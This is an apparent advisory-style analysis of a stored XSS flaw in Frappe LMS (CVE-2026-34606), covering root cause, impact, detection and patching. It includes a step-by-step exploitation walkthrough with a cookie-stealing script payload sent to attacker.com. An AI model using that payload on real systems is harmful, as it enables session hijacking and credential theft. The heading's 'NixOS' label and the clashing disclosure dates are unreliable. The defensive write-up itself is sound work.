CVE-2026-34606: 
NixOS vulnerability analysis and mitigation

CVE-2026-34606 is a stored Cross-Site Scripting (XSS) vulnerability in Frappe Learning Management System (LMS) affecting versions 2.27.0 through 2.47.x. The flaw allows attackers to inject and persist malicious scripts that execute in the browsers of other users viewing compromised content. It was disclosed on April 2, 2026, with the fix merged on March 12, 2026, and released in version 2.48.0. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 6.9 (Medium) (GitHub Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), classified as a stored XSS. In lms/www/_lms.py, the code used BeautifulSoup's soup.get_text() to extract text from HTML fields (such as course descriptions, batch details, job opening descriptions, and user bios) after sanitization by the nh3 library in the Frappe framework. However, get_text() undoes the sanitization by returning raw decoded text, allowing injected HTML tags — including <script> elements — to bypass the sanitizer and be stored and later rendered in page metadata contexts. The fix replaces soup.get_text() with escape_html(soup.get_text()) to properly encode the output before storage (GitHub PR #2185, GitHub Commit).

Successful exploitation allows an attacker to store malicious JavaScript payloads in LMS content fields (course descriptions, batch details, job openings, user bios) that execute in the browsers of any user who views the affected pages. This can result in session hijacking, credential theft, unauthorized actions performed on behalf of victims, defacement of learning content, and potential malware distribution to platform users. Because the payload is stored server-side, all users visiting the compromised content are affected without any further action by the attacker (GitHub Advisory, Feedly).

1. Identify a vulnerable instance: Locate a Frappe LMS deployment running versions 2.27.0–2.47.x, accessible via the internet or internal network.
2. Identify injectable content fields: Target fields that accept rich HTML input and are rendered in page metadata or content areas — such as course descriptions, batch details, job opening descriptions, or user bio fields.
3. Craft a stored XSS payload: Prepare a malicious HTML/JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an <img onerror=...> variant.
4. Submit the payload: Create or edit a course, batch, job opening, or user profile and insert the payload into the relevant description/bio field. The nh3 sanitizer processes the input, but soup.get_text() subsequently decodes it, allowing the tags to persist.
5. Wait for victim interaction: When another user (e.g., a student or administrator) visits the affected page, the stored script executes in their browser context.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server, enabling session hijacking or further account compromise (GitHub PR #2185, GitHub Advisory).

• Network: Unexpected outbound HTTP requests from user browsers to unknown external domains shortly after visiting LMS course, batch, or profile pages; unusual POST requests to attacker-controlled endpoints containing cookie or session data.
• Logs: LMS application logs showing submission of content fields containing HTML tags such as <script>, <img>, or <svg> with event handlers in course descriptions, batch details, job openings, or user bios.
• File System / Database: Stored content in the LMS database for fields like course.description, batch.batch_details, or user.bio containing raw HTML tags or JavaScript event handlers that should have been sanitized.
• Browser / Client-Side: Browser developer console errors or network requests to unexpected domains triggered when loading LMS content pages; Content Security Policy (CSP) violation reports if CSP is enabled.

The issue is patched in Frappe LMS version 2.48.0, released March 18, 2026. Administrators should upgrade immediately to v2.48.0 or later (GitHub Release). For organizations unable to patch immediately, recommended interim mitigations include: implementing strict Content Security Policy (CSP) headers to restrict script execution, auditing stored content in affected fields for malicious scripts, monitoring user accounts for unauthorized activity, and restricting access to the LMS until patching is complete. Input validation and output encoding should also be verified in any custom extensions (Feedly).

The vulnerability was discovered by security researcher @nickhefty and responsibly disclosed to the Frappe team, who published the GitHub Security Advisory (GHSA-qf5w-r34q-c7j2) on March 31, 2026 (GitHub Advisory). No significant broader media coverage or notable social media commentary beyond the standard vulnerability tracking community has been identified at this time.